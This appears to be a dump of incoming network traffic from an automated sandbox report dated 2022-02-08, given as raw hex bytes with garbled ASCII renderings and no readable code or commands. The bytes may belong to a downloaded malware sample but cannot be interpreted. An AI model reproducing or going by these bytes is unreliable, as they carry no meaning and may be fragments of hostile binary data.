Data Ascii:  l4P7_X%Xk| 2/HwsH=QDEAV}AAcX^kkWVOWt{K<zr1vyi2"7Yvr}5Bc}:9[ga~CaZ{!#!)E%[9sF9~/%87ZgZIU

Timestamp
kBytes
transferred

Direction Data
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2022-02-08 23:07:11 UTC 577 IN Data Raw: 54 bb cc 61 61 39 84 66 ea 7f b1 d0 22 f5 f9 e7 0a 6e 72 a9 bf a5 4e aa 30 5f ab 1c 06 63 a8 65 cd a0 6b a6 
46 00 60 8d 6f 98 5c b1 e4 d0 47 3a ac e3 cc 7c af 55 07 32 24 9f 2c c2 f2 a3 10 48 ba 66 9b 0e b9 d1 43 81 51 e1 c8 c9 
5a ca 23 01 99 09 a8 4b 59 82 e8 4b 92 08 a0 8c 4f 83 e6 8f f9 a8 69 c5 19 23 21 5a fe 90 a6 12 49 77 1d 99 03 81 6e c9 
c1 42 e5 8f f4 8e a3 c4 37 4d 60 42 71 78 d7 b9 fe 82 31 d9 ae 40 f2 6e 42 6b 69 a6 81 a8 2f a5 36 01 04 d1 df 3d 38 d5 
1c e8 fb 16 df a8 f0 2a 54 e0 af cd 17 23 6c 0e 9c 63 6b fd 1e ff e9 60 9c 61 6b ff 00 fc f5 ff 86 ba db 48 41 4a d8 60 5d 30 
13 a3 9e f3 38 a7 06 cf 04 2c 4c 09 97 7c 8e ca 1c 3a 8d 7d 19 b5 c7 9e 96 4f 21 14 c6 8d e2 a2 1c f7 29 61 df 34 02 07 
47 08 3e 8c 0d ce cb dc cf 0d 40 9a cc ba 27 15 86 
Data Ascii: Taa9f"nrN0_cekF`o\G:|U2$,HfCQZ#KYKOi#!ZIwnB7M`Bqx1@nBki/6=8*T#lck`akHAJ`]08,L|:}O!)a4G>@'

2022-02-08 23:07:11 UTC 581 IN Data Raw: 0d 00 af 1e 9e 17 20 54 1d 0c ab 1a 9e c7 20 50 19 20 db df 53 af 3c 5c dc e1 b3 bb 3f 11 a2 3c 71 90 6b 46 
3a 40 c5 c5 06 96 46 21 c5 55 6e e2 09 20 e9 05 aa ab a9 02 31 ab 22 40 1e 50 e5 83 dd db ad 45 d8 2d 6f 86 53 dd 68 
0d 19 9a 8f ee de 59 4c 69 96 8f 83 e2 54 4c 08 a2 5f 70 87 ea 5e ff cf f0 d9 07 dc 3c 9e 53 1f ff 5d 10 e6 3c ea a9 6d 00 
e9 ea 92 c1 2a 5c a6 4a 6a 5f 48 c1 94 9c 8f 02 57 28 29 8d 19 a7 ce 6e e9 ad 45 20 2f 2f 5f e3 ec 66 98 21 67 5a 9a 6a 
e0 95 46 2d e3 23 6e a6 ad ac 89 45 26 90 83 ce 1a 92 c0 34 d9 24 fb c4 c8 a6 b2 03 1b ed 75 d1 90 d1 74 96 93 67 45 
1d dd e8 a2 fe 56 d4 a8 75 6a d6 eb 8f a9 60 d0 00 e7 a6 0f 1a 24 65 ff 0b a6 2c 38 d8 ed eb ea 53 d1 ea ad 50 67 db 85 
94 e8 95 4b 5c f6 56 88 de 8d 97 4b 1d 4e 15 03 0c c4 5d 0b 
Data Ascii:  T P S<\?<qkF:@F!Un 1"@PE-oShYLiTL_p^<S]<m*\Jj_HW()nE //_f!gZjF-#nE&4$utgEVuj`$e,8SPgK\VKN]

2022-02-08 23:07:11 UTC 615 IN Data Raw: 62 ff 16 97 5c b7 16 1c 14 28 f1 bf 9f 60 5e 58 34 eb 16 ef d3 58 9d a7 6c bf 26 2c 2c b8 b5 ae b1 b8 3e e6 b6 
33 74 7d 7d b8 3e d6 ae 33 74 65 75 b8 3e de 96 3a ab 55 d6 15 58 de 9e cb b7 99 5c 08 31 69 69 8a 79 54 e2 cc 61 e2 
01 8c 6a de 2b f2 a9 1d e8 57 e9 26 16 e0 28 1a 12 6b 60 12 39 4d 28 2e 05 c6 66 f1 85 4d 26 f1 44 81 52 31 e1 c7 51 87 
c2 89 d5 45 bb 42 16 86 78 c9 b6 8d 53 9b 3e b1 6f 10 76 8a e4 5a b0 d6 a4 98 73 5d e2 9b c4 27 69 d3 1a 37 29 11 d9 
92 ae eb 29 25 3e 60 61 2d 15 02 29 11 29 a7 69 e9 d7 e9 da 2b 60 04 51 8b 4d 7d 90 48 8e be 1b 00 80 95 8c 88 bc a9 
07 c2 78 22 41 c1 cf 82 ce 89 cf 09 86 9f 44 41 8d b4 81 09 b1 88 c7 0a 07 22 4c 4a 03 e9 c7 ea 06 62 89 35 86 c7 0e cf 
76 71 79 44 3e af c0 04 fc 6c 4b 4c f4 47 1a 7c c9 7b 95 36 3f 
Data Ascii: b\(`^X4Xl&,,>3t}}>3teu>:UX\1iiyTaj+W&(k`9M(.fM&DR1QEBxS>ovZs]'i7))%>`a-))i+`QM}Hx"ADA"LJb5vqyD>lKL
G|{6?

2022-02-08 23:07:11 UTC 623 IN Data Raw: b5 7e 20 d8 fd ac ab 92 7a 4b 40 19 34 dd 24 9f c4 d7 a2 6f c7 5c e8 d0 20 bf 6a ec b1 64 2d ef 06 fa c5 59 aa 
78 3d ac 1b ee bf e4 15 69 45 4a 89 dc 96 02 8b 5e 6e f5 8e ef a5 77 4e e1 5d f9 d2 50 6e b1 44 34 20 33 78 bf 68 bd 24 
3d 20 3a 21 fa ab 70 9e 1d 58 ff d0 93 fc 19 ec af c0 da 62 e7 c7 51 28 58 20 ba aa 12 e4 31 e2 d0 6f 7b 5d 37 8c 47 0e 
14 4f 84 cd 53 4c 06 01 d5 72 3a d7 e7 a4 f9 14 69 ec fc e4 78 67 b4 ef 44 b1 ac 39 87 72 27 71 09 26 ac 39 cb 1a 7f b2 
83 94 23 39 cb 46 1f 68 88 85 dc ab 03 cd 52 d7 88 85 80 eb 19 36 0b a3 97 5a 80 eb 45 66 11 70 0d 62 9a 32 0a 19 59 
f1 c9 9b c5 73 54 19 5b f1 cb 85 c6 69 55 85 c9 66 5a 0e 81 61 d1 44 1a aa 5a 0e b1 79 d1 44 02 a2 45 cf 42 8d e6 44 0a 
a7 6d 0c 3b 2c 23 87 20 a6 6b 95 aa ee 50 be 0a 37 6c 82 
Data Ascii: ~ zK@4$o\ jd-Yx=iEJ^nwN]PnD4 3xh$= :!pXbQ(X 1o{]7GOSLr:ixgD9r'q&9#9FhR6ZEfpb2YsT[iUfZaDZ
yDEBDm;,# kP7l

2022-02-08 23:07:11 UTC 625 IN Data Raw: 7e 08 33 77 2d 83 73 70 ce 1d 73 7f 4d 8b f8 3f 62 68 73 77 4b e3 3b f9 c0 68 7b fe 23 f6 51 0e ad ca 6d 01 2e 
5c e6 41 01 af 6d 09 28 24 25 87 8b af 65 80 78 31 4f 58 f6 0d 73 57 75 9b f8 17 5a 78 73 5f 73 f3 3b d1 80 78 7b d6 63 
e6 51 16 ed da 6d 19 6e 4c e6 59 41 af 6d 11 68 24 2d af eb e7 9b 63 ab 19 c3 bd 69 da ff 0a ac f1 bc ea 90 cd ef 61 d0 
ca 0c ff d0 c5 8f 69 5b 85 a0 8a d0 cd 89 01 9a 43 0a 8a d2 81 42 59 98 17 b1 d2 d2 99 4a 98 44 72 0a 26 ff b0 bc f6 70 
f8 fa b5 b3 3b 39 45 a2 b0 71 cb 11 9b c6 0f 2d a7 95 84 65 31 6e cc eb da 45 3c 5c e6 79 6f d7 a6 7e 8c 49 a6 71 0f df 
2d 31 20 3c a6 79 09 46 68 ba ca 85 e3 fa cd 66 7d d0 8d 96 41 ec 82 15 d7 67 c2 3a 34 ec 8a 13 4e 23 49 d0 8d a8 09 
d7 6e 36 23 7e 9e 0a 1f 71 1d 9c 94 31 32 7f 1f 79 1b f4 
Data Ascii: ~3w-spsM?bhswK;h{#Qm.\Am($%ex1OXsWuZxs_s;x{cQmnLYAmh$-ciai[CBYJDr&p;9Eq-e1nE<\yo~Iq-1 <y
Fhf}Ag:4N#In6#~q12y

2022-02-08 23:07:11 UTC 627 IN Data Raw: 61 13 c2 54 61 13 54 e2 62 13 54 e2 62 13 28 54 61 13 28 54 61 13 40 e2 62 13 40 e2 62 13 14 54 61 13 14 
54 61 13 52 e2 62 13 52 e2 62 13 6a 54 61 13 6a 54 61 13 4e e2 62 13 4e e2 62 13 5c 54 61 13 5c 54 61 13 5e e2 62 13 
5e e2 62 13 f0 48 61 13 f0 48 61 13 5e e7 62 13 5e e7 62 13 fe 4d 61 13 fe 4d 61 13 7c fe 62 13 7c fe 62 13 ee 4d 61 13 
ee 4d 61 13 4c fe 62 13 4c fe 62 13 f4 4d 61 13 f4 4d 61 13 3e fe 62 13 3e fe 62 13 e2 4d 61 13 e2 4d 61 13 10 fe 62 13 
10 fe 62 13 12 4a 61 13 12 4a 61 13 0a fe 62 13 0a fe 62 13 26 4a 61 13 26 4a 61 13 6e fe 62 13 6e fe 62 13 0e 4a 61 13 
0e 4a 61 13 76 fe 62 13 76 fe 62 13 d6 4a 61 13 d6 4a 61 13 6e fe 62 13 6e fe 62 13 a2 4a 61 13 a2 4a 61 13 44 fe 62 13 
44 fe 62 13 be 4a 61 13 be 4a 61 13 a8 ff 62 13 a8 ff 62 13 9c 
Data Ascii: aTaTbTb(Ta(Ta@b@bTaTaRbRbjTajTaNbNb\Ta\Ta^b^bHaHa^b^bMaMa|b|bMaMaLbLbMaMa>b>bM
aMabbJaJabb&Ja&JanbnbJaJavbvbJaJanbnbJaJaDbDbJaJabb

2022-02-08 23:07:11 UTC 629 IN Data Raw: 9d 1c 1e a6 82 e6 52 e3 2a d7 25 7d df cc 34 2b 36 4b d6 9b 24 97 76 1b 3e b9 bb 4f 03 df 51 8e 2f 28 f2 d8 
9d 3b 4f 86 c8 8c 29 f3 2f 80 f3 a5 55 8c 34 cd 3e bb 50 a9 ce 27 a8 33 67 5a 97 05 dd 00 dd 7f 46 e7 23 96 fc 4e 9c dc 
51 e8 f3 f4 37 59 29 95 53 ad ca 18 53 9a 6f 3e d7 58 29 b3 ba 73 3d f1 79 ff a1 6c 76 cf a2 ac 2f a0 d4 46 76 68 5e 83 97 
a2 0d 47 60 eb ab 0d 09 6e ea 8f bd 9d 8a d5 14 ac 48 fa 86 df 1d fe 34 bf 67 2c 9c 21 d3 e8 06 ce 09 20 c2 0f 18 54 28 
9e b7 e3 cd 51 26 1b 10 ab af 50 13 f7 1d dd a1 dd a3 f3 66 10 00 be fc 4a 2f 38 e5 67 9b d6 ee 7e 5b 68 58 38 97 ce de 
09 e2 39 f6 55 af 41 fe 13 6f d8 2e 08 35 40 ee 55 d6 14 00 84 86 79 c5 ef 83 ea 00 5e 8c bd dd 9f e0 fa 97 d1 8e 9a 00 
07 d1 eb 03 eb 13 39 42 60 4c 03 bd b1 53 de 39 34 a6 
Data Ascii: R*%}4+6K$v>OQ/(;O)/U4>P'3gZF#NQ7Y)SSo>X)s=ylv/Fvh^G`nH4g,! T(Q&PfJ/8g~[hX89UAo.5@Uy^9B`L
S94

2022-02-08 23:07:11 UTC 631 IN Data Raw: ef c6 09 61 17 9e 17 81 63 07 94 5a 67 39 c3 21 37 ea f6 c1 14 db d7 50 42 3e 42 66 1f 8f af 14 77 a1 d5 4a 
a3 47 fc 70 72 36 d8 a8 f0 8b 3d 82 5c af 15 68 45 db a0 50 da e2 e2 ff 13 0e 17 33 37 37 9a 39 d9 41 9f cd 77 85 72 db 
8c f6 29 95 e5 fb 19 d5 f2 0c 6e 51 9e d7 f2 78 d4 49 e6 b8 59 d9 7b 7f 69 ec 4e 90 2d 46 f7 00 ae c2 36 4a 96 7a a9 f2 
94 ad ab 72 f3 b4 7b 40 8c 37 07 b5 9e 1f c3 40 89 1a ee 88 46 46 3c 41 99 63 23 37 f1 08 b8 7a 61 45 d3 95 e1 45 1b 7e 
16 31 64 11 1f 94 1b 5b 2a f4 ab d0 3a 01 01 9b 30 e4 7d 31 41 3d 46 c0 8c ca 76 6c e5 aa 1c fe 5d fa 6f 8e 74 cd b4 76 
db 49 6b 3d 15 7f 28 ec a6 c8 35 b0 cb c9 4f e8 53 a5 10 05 48 45 0a 26 f1 f1 53 f6 ff f0 3b 3f 40 03 70 80 10 6e f8 8a ae 
b0 2f 9f 34 2f a9 09 12 0c 75 b9 5d 2e 88 10 3a a7 5c 
Data Ascii: acZg9!7PB>BfwJGpr6=\hEP3779Awr)nQxIY{iN-F6Jzr{@7@FF<Ac#7zaEE~1d[*:0}1A=Fvl]otvIk=(5OSHE&S;?
@pn/4/u].:\

2022-02-08 23:07:11 UTC 651 IN Data Raw: 8c 3d 20 85 8c 3d 20 85 8c 3d 20 85 8c 3d 72 85 ba 3d 42 85 8a 3d 7b 85 87 3d 71 85 aa 3d 51 85 c4 3d 3e 
85 b0 3d 1e 85 d5 3d 70 85 ba 3d 05 85 dd 3d 6d 85 fd 3d 1e 85 8d 3d 7f 85 ee 3d 1a 85 ce 3d 7c 85 a1 3d 0e 85 81 3d 
6b 85 ef 3d 1d 85 86 3d 6f 85 e9 3d 01 85 84 3d 64 85 ea 3d 10 85 e7 3d 1a 85 e7 3d 1a 85 e7 3d 1a 85 e7 3d 48 85 d1 3
d 78 85 e0 3d 48 85 ed 3d 42 85 c0 3d 62 85 a1 3d 00 85 ce 3d 72 85 ba 3d 5a 85 93 3d 7a 85 fb 3d 1b 85 88 3d 3b 85 ea 
3d 5e 85 8f 3d 30 85 af 3d 53 85 ce 3d 3f 85 a2 3d 5a 85 c6 3d 57 85 cc 3d 57 85 cc 3d 57 85 cc 3d 57 85 cc 3d 05 85 fa 
3d 35 85 cb 3d 03 85 c6 3d 09 85 eb 3d 29 85 85 3d 46 85 f1 3d 66 85 94 3d 08 85 fb 3d 7d 85 9c 3d 15 85 bc 3d 66 85 
cc 3d 07 85 af 3d 62 85 8f 3d 04 85 e0 3d 76 85 c0 3d 02 85 a8 3d 70 
Data Ascii: = = = =r=B={=q=Q=>==p==m====|==k==o==d=====H=x=H=B=b==r=Z=z==;=^=0=S=?=Z=W=W=W
=W==5===)=F=f==}==f==b==v==p

Timestamp
kBytes
transferred

Direction Data
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2022-02-08 23:07:11 UTC 655 IN Data Raw: 84 3d 26 85 e1 3d 54 85 93 3d 3b 85 e1 3d 36 85 eb 3d 36 85 eb 3d 65 85 a2 3d 2b 85 e5 3d 0b 85 80 3d 79 
85 f2 3d 16 85 80 3d 1b 85 8a 3d 1b 85 8a 3d 1b 85 8a 3d 4f 85 c6 3d 00 85 95 3d 53 85 b5 3d 36 85 c7 3d 44 85 a8 3d 
36 85 a5 3d 3c 85 a5 3d 31 85 af 3d 31 85 af 3d 31 85 af 3d 43 85 da 3d 2d 85 ae 3d 44 85 c3 3d 21 85 e3 3d 44 85 91 3d 
36 85 fe 3d 44 85 de 3d 44 85 de 3d 16 85 ab 3d 78 85 df 3d 11 85 b2 3d 74 85 92 3d 31 85 e0 3d 43 85 8f 3d 31 85 ae 3
d 3b 85 a4 3d 6b 85 d6 3d 04 85 b1 3d 76 85 d0 3d 1b 85 ea 3d 3b 85 ea 3d 3b 85 ea 3d 07 85 9a 3d 75 85 f5 3d 12 85 
87 3d 73 85 ea 3d 53 85 84 3d 32 85 e9 3d 57 85 c9 3d 22 85 a7 3d 49 85 c9 3d 26 85 be 3d 48 85 80 3d 48 85 80 3d 66 
85 ae 3d 48 85 ae 3d 42 85 a4 3d 42 85 a4 3d 42 85 a4 3d 42 85 a4 3d 0f 
Data Ascii: =&=T=;=6=6=e=+==y=====O==S=6=D=6=<=1=1=1=C=-=D=!=D=6=D=D==x==t=1=C=1=;=k==v==;
=;==u==s=S=2=W="=I=&=H=H=f=H=B=B=B=B=

2022-02-08 23:07:11 UTC 657 IN Data Raw: 1b 7d 04 19 7e 0f 04 19 7e 0f 04 19 7e 0f 40 7c 1d 6a 2d 1e 78 18 2d 1e 78 18 6c 53 78 18 3c 1e 78 18 3c 1e 
78 18 71 53 57 7c 15 7c 2e 05 15 7c 2e 05 15 7c 2e 05 71 18 4a 61 5d 38 07 2c 10 75 27 48 74 59 07 31 0d 20 7e 31 0d 
20 7e 31 45 68 44 5c 28 52 37 2f 28 52 37 2f 28 52 37 2f 7b 52 42 2f 15 52 42 2f 58 52 2d 2f 36 52 2d 2f 62 52 58 2f 07 52 
58 2f 50 52 3d 2f 34 52 3d 2f 60 52 55 2f 15 52 55 2f 53 52 27 2f 3a 52 27 2f 69 52 46 2f 1d 52 46 2f 4e 52 33 2f 20 52 57 
2f 41 52 2e 2f 41 52 2e 2f 0c 52 41 2f 62 52 25 2f 03 52 5c 2f 03 52 5c 2f 57 52 29 2f 32 52 5a 2f 56 52 3b 2f 2f 52 3b 2f 
78 52 5e 2f 1c 52 30 2f 79 52 43 2f 1d 52 22 2f 64 52 22 2f 64 52 22 2f 30 52 4a 2f 45 52 38 2f 36 52 5c 2f 57 52 25 2f 57 
52 25 2f 57 52 25 2f 11 52 57 2f 78 52 33 2f 19 
Data Ascii: }~~~@|j-x-xlSx<x<xqSW||.|.|.qJa]8,u'HtY1 ~1 ~1EhD\(R7/(R7/(R7/{RB/RB/XR-/6R-/bRX/RX/PR=/4R=/`RU/RU
/SR'/:R'/iRF/RF/NR3/ RW/AR./AR./RA/bR%/R\/R\/WR)/2RZ/VR;//R;/xR^/R0/yRC/R"/dR"/dR"/0RJ/ER8/6R\/WR%/W
R%/WR%/RW/xR3/

2022-02-08 23:07:11 UTC 693 IN Data Raw: 5d 2f 21 52 5d 2f 55 52 3c 2f 78 52 75 2f 36 52 75 2f 36 52 75 2f 42 52 10 2f 6f 52 59 2f 21 52 59 2f 21 52 59 2f 
4a 52 37 2f 67 52 7e 2f 29 52 7e 2f 29 52 7e 2f 44 52 12 2f 69 52 5b 2f 27 52 5b 2f 27 52 5b 2f 4a 52 29 2f 67 52 60 2f 29 
52 60 2f 29 52 60 2f 5a 52 01 2f 77 52 48 2f 39 52 48 2f 39 52 48 2f 54 52 26 2f 79 52 6b 2f 37 52 6b 2f 37 52 6b 2f 54 52 
12 2f 79 52 55 2f 3b 52 55 2f 3b 52 55 2f 5c 52 39 2f 71 52 7c 2f 22 52 7c 2f 22 52 7c 2f 49 52 13 2f 22 52 3e 2f 6b 52 70 
2f 6b 52 70 2f 18 52 09 2f 6a 52 24 2f 39 52 7d 2f 39 52 7d 2f 5d 52 14 2f 2b 52 39 2f 66 52 6f 2f 66 52 6f 2f 17 52 1a 2f 6d 
52 37 2f 2f 52 78 2f 2f 52 78 2f 41 52 0b 2f 6c 52 51 2f 2d 52 51 2f 2d 52 51 2f 40 52 38 2f 6d 52 76 2f 37 52 76 2f 37 52 
76 2f 56 52 04 2f 7b 52 4d 2f 2a 
Data Ascii: ]/!R]/UR</xRu/6Ru/6Ru/BR/oRY/!RY/!RY/JR7/gR~/)R~/)R~/DR/iR[/'R[/'R[/JR)/gR`/)R`/)R`/ZR/wRH/9RH/9RH
/TR&/yRk/7Rk/7Rk/TR/yRU/;RU/;RU/\R9/qR|/"R|/"R|/IR/"R>/kRp/kRp/R/jR$/9R}/9R}/]R/+R9/fRo/fRo/R/mR7//Rx//Rx/AR/l
RQ/-RQ/-RQ/@R8/mRv/7Rv/7Rv/VR/{RM/*

2022-02-08 23:07:11 UTC 697 IN Data Raw: 5d 2f 58 4d 5d 2f 59 4d 5d 2f 59 4d 5d 2f a9 5a 5e af a8 5a 5e af ec 5a 5e af ec 5a 5e af ec 42 5d 2f ed 42 5d 
2f 90 42 5d 2f 90 42 5d 2f 80 5a 5e af 81 5a 5e af 36 5a 5e af 36 5a 5e af 32 7b 5d 2f 33 7b 5d 2f 31 7b 5d 2f 31 7b 5d 2f 
19 63 5e af 18 63 5e af 5d 63 5e af 5d 63 5e af 7d 42 5d 2f 7c 42 5d 2f 78 42 5d 2f 78 42 5d 2f 40 5a 5e af 41 5a 5e af 06 
5a 5e af 06 5a 5e af 4e 42 5d 2f 4f 42 5d 2f c8 42 5d 2f c8 42 5d 2f e0 63 5e af e1 63 5e af e4 63 5e af e4 63 5e af bc 7b 
5d 2f bd 7b 5d 2f f5 7b 5d 2f f5 7b 5d 2f c5 5a 5e af c4 5a 5e af c2 5a 5e af c2 5a 5e af aa 42 5d 2f ab 42 5d 2f 09 42 5d 2f 
09 42 5d 2f 71 5a 5e af 70 5a 5e af e1 5a 5e af e1 5a 5e af 69 42 5d 2f 68 42 5d 2f 21 42 5d 2f 21 42 5d 2f b9 5a 5e af b8 
5a 5e af 0b 5a 5e af 0b 5a 5e af a3 
Data Ascii: ]/XM]/YM]/YM]/Z^Z^Z^Z^B]/B]/B]/B]/Z^Z^6Z^6Z^2{]/3{]/1{]/1{]/c^c^]c^]c^}B]/|B]/xB]/xB]/@Z^AZ^Z^Z^NB
]/OB]/B]/B]/c^c^c^c^{]/{]/{]/{]/Z^Z^Z^Z^B]/B]/B]/B]/qZ^pZ^Z^Z^iB]/hB]/!B]/!B]/Z^Z^Z^Z^

2022-02-08 23:07:11 UTC 699 IN Data Raw: 5d 2f 28 58 5d 2f bf 58 5d 2f bf 58 5d 2f 27 79 5e af 26 79 5e af 35 79 5e af 35 79 5e af ad 64 5d 2f ac 64 5d 2f 
21 64 5d 2f 21 64 5d 2f 91 8b 5f af 90 8b 5f af a6 8b 5f af a6 8b 5f af 0e 96 5c 2f 0f 96 5c 2f 71 96 5c 2f 71 96 5c 2f d1 b7 
5f af d0 b7 5f af c4 b7 5f af c4 b7 5f af 7c aa 5c 2f 7d aa 5c 2f 2b aa 5c 2f 2b aa 5c 2f 83 8b 5f af 82 8b 5f af 97 8b 5f af 97 
8b 5f af 5f 96 5c 2f 5e 96 5c 2f 09 96 5c 2f 09 96 5c 2f d1 8b 5f af d0 8b 5f af 48 8b 5f af 48 8b 5f af a0 96 5c 2f a1 96 5c 2f 
2d 96 5c 2f 2d 96 5c 2f d5 8b 5f af d4 8b 5f af 4b 8b 5f af 4b 8b 5f af 43 95 5c 2f 42 95 5c 2f ea 95 5c 2f ea 95 5c 2f 5a b4 
5f af 5b b4 5f af 4d b4 5f af 4d b4 5f af 55 aa 5c 2f 54 aa 5c 2f 0c aa 5c 2f 0c aa 5c 2f b4 8b 5f af b5 8b 5f af a2 8b 5f af a2 
8b 5f af 8a 
Data Ascii: ]/(X]/X]/X]/'y^&y^5y^5y^d]/d]/!d]/!d]/____\/\/q\/q\/____|\/}\/+\/+\/_____\/^\/\/\/__H_H_\/\/-\/-\/__K_K_C\/B\/\/\/Z_[_
M_M_U\/T\/\/\/____

2022-02-08 23:07:11 UTC 701 IN Data Raw: 5f af 87 81 5f af 2f 6e 5d 2f 2e 6e 5d 2f 68 6e 5d 2f 68 6e 5d 2f d8 81 5f af d9 81 5f af 9e 81 5f af 9e 81 5f af 26 
6e 5d 2f 27 6e 5d 2f 6e 6e 5d 2f 6e 6e 5d 2f ae 81 5f af af 81 5f af e5 81 5f af e5 81 5f af 2d 6e 5d 2f 2c 6e 5d 2f 67 6e 5d 
2f 67 6e 5d 2f b7 81 5f af b6 81 5f af f8 81 5f af f8 81 5f af 20 6e 5d 2f 21 6e 5d 2f 6e 6e 5d 2f 6e 6e 5d 2f 8e 81 5f af 8f 81 
5f af df 81 5f af df 81 5f af 37 6e 5d 2f 36 6e 5d 2f 60 6e 5d 2f 60 6e 5d 2f 90 81 5f af 91 81 5f af c6 81 5f af c6 81 5f af 3e 
6e 5d 2f 3f 6e 5d 2f 65 6e 5d 2f 65 6e 5d 2f 65 9e 5f af 64 9e 5f af 01 9e 5f af 01 9e 5f af 09 6e 5d 2f 08 6e 5d 2f 77 6e 5d 
2f 77 6e 5d 2f 67 9e 5f af 66 9e 5f af 67 9a 5f af 67 9a 5f af 7f 6a 5d 2f 7e 6a 5d 2f 7c 6e 5d 2f 7c 6e 5d 2f 54 9e 5f af 55 
9e 5f af 56 
Data Ascii: __/n]/.n]/hn]/hn]/____&n]/'n]/nn]/nn]/____-n]/,n]/gn]/gn]/____ n]/!n]/nn]/nn]/____7n]/6n]/`n]/`n]/____>n]/?n
]/en]/en]/e_d___n]/n]/wn]/wn]/g_f_g_g_j]/~j]/|n]/|n]/T_U_V

2022-02-08 23:07:11 UTC 703 IN Data Raw: 5f af f3 94 5f af eb 63 5d 2f ea 63 5d 2f e6 77 5d 2f e6 77 5d 2f ce 80 5f af cf 80 5f af d5 94 5f af d5 94 5f af ed 
63 5d 2f ec 63 5d 2f d7 77 5d 2f d7 77 5d 2f 87 80 5f af 86 80 5f af 87 98 5f af 87 98 5f af e7 6f 5d 2f e6 6f 5d 2f ef 77 5d 2f 
ef 77 5d 2f 9f 80 5f af 9e 80 5f af 94 98 5f af 94 98 5f af 14 6f 5d 2f 15 6f 5d 2f 19 77 5d 2f 19 77 5d 2f 89 80 5f af 88 80 5f 
af 92 98 5f af 92 98 5f af 32 6f 5d 2f 33 6f 5d 2f 08 77 5d 2f 08 77 5d 2f b0 80 5f af b1 80 5f af b0 9c 5f af b0 9c 5f af 78 6b 
5d 2f 79 6b 5d 2f 70 77 5d 2f 70 77 5d 2f a8 80 5f af a9 80 5f af a3 9c 5f af a3 9c 5f af 4b 6b 5d 2f 4a 6b 5d 2f 50 77 5d 2f 
50 77 5d 2f a8 80 5f af a9 80 5f af 92 9c 5f af 92 9c 5f af 82 64 5d 2f 83 64 5d 2f 82 44 5d 2f 82 44 5d 2f a2 bc 5f af a3 bc 
5f af aa 
Data Ascii: __c]/c]/w]/w]/____c]/c]/w]/w]/____o]/o]/w]/w]/____o]/o]/w]/w]/____2o]/3o]/w]/w]/____xk]/yk]/pw]/pw]/____Kk]/
Jk]/Pw]/Pw]/____d]/d]/D]/D]/__

2022-02-08 23:07:11 UTC 705 IN Data Raw: 42 2f c4 74 42 2f ac 74 2b 2f 81 74 42 2f ef 74 42 2f ef 74 42 2f 87 74 30 2f aa 74 52 2f cb 74 52 2f cb 74 52 2f 
a3 74 20 2f 8e 74 48 2f fc 74 48 2f fc 74 48 2f 94 74 3d 2f b9 74 55 2f cc 74 55 2f cc 74 55 2f a4 74 2c 2f 89 74 4d 2f e4 74 
4d 2f e4 74 4d 2f 8d 74 29 2f a0 74 40 2f c4 74 40 2f c4 74 40 2f ad 74 33 2f 80 74 5a 2f f3 74 5a 2f f3 74 5a 2f 9a 74 2e 2f 
b7 74 4d 2f df 74 4d 2f df 74 4d 2f b6 74 39 2f 9b 74 50 2f ef 74 50 2f ef 74 50 2f 85 74 31 2f a8 74 5b 2f d8 74 5b 2f d8 74 
5b 2f b3 74 3a 2f 9e 74 5d 2f fb 74 5d 2f fb 74 5d 2f 90 74 36 2f bd 74 5d 2f c7 74 5d 2f c7 74 5d 2f ac 74 33 2f 81 74 5a 2f 
ef 74 5a 2f ef 74 5a 2f 84 74 35 2f ef 74 18 2f 86 74 76 2f 86 74 76 2f ed 74 19 2f c0 74 72 2f b2 74 72 2f b2 74 72 2f d9 74 
0b 2f f4 74 60 2f 93 
Data Ascii: B/tB/t+/tB/tB/tB/t0/tR/tR/tR/t /tH/tH/tH/t=/tU/tU/tU/t,/tM/tM/tM/t)/t@/t@/t@/t3/tZ/tZ/tZ/t./tM/tM/tM/t9/tP/tP/tP/t1/t[
/t[/t[/t:/t]/t]/t]/t6/t]/t]/t]/t3/tZ/tZ/tZ/t5/t/tv/tv/t/tr/tr/tr/t/t`/

2022-02-08 23:07:11 UTC 707 IN Data Raw: 69 2f 94 74 79 2f 84 74 69 2f 94 74 79 2f 84 74 fb 2f 06 74 79 2f 84 74 fb 2f 06 74 f9 2f 04 74 fb 2f 06 74 f9 2f 
04 74 fb 2f 06 74 f9 2f 04 74 fb 2f 06 74 f9 2f 04 74 fb 2f 06 74 f9 2f 04 74 fb 2f 06 74 eb 2f 16 74 fb 2f 06 74 db 2f 06 74 db 
2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 
06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 
74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 
db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 2f 06 74 db 
2f 06 74 db 2f 06 74 db 2f 06 
Data Ascii: i/ty/ti/ty/t/ty/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/t/

Timestamp
kBytes
transferred

Direction Data
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2022-02-08 23:07:11 UTC 725 IN Data Raw: ed ff e1 8b 86 29 50 e4 e9 f7 04 21 2c 66 54 11 1c 06 57 10 1d 04 fe 77 7a ca 83 5c 51 9c 9a a2 af 7b f8 75 78 
ce 1e de d3 83 84 a8 a5 6f c1 62 6f e0 5c e0 ed ff 1c 29 24 76 9b 54 59 8c 8e ae a3 63 65 f7 fa d1 ac b0 bd 5f a7 40 4d 
a4 4b ed e0 e5 2c 39 34 56 d1 9b 96 09 3b 34 39 4c 84 a8 a5 6f 73 0c 01 3c e5 7e 73 d8 be be b3 43 7c 09 04 36 60 f4 f9 
d7 ce 67 6a ea a4 41 4c a6 fe 77 7a ca bf 48 45 b4 bd bf b2 41 f2 73 7e c2 ae 47 4a aa 5a e2 ef fb 6e 07 0a 2a 66 f6 fb d3 
f5 87 8a 31 86 5f 52 9a d5 6e 63 f8 ea 7b 76 d2 e6 7f 72 da b4 b8 b5 4f d1 9b 96 09 8f 58 55 94 a7 40 4d a4 06 d6 db 93 
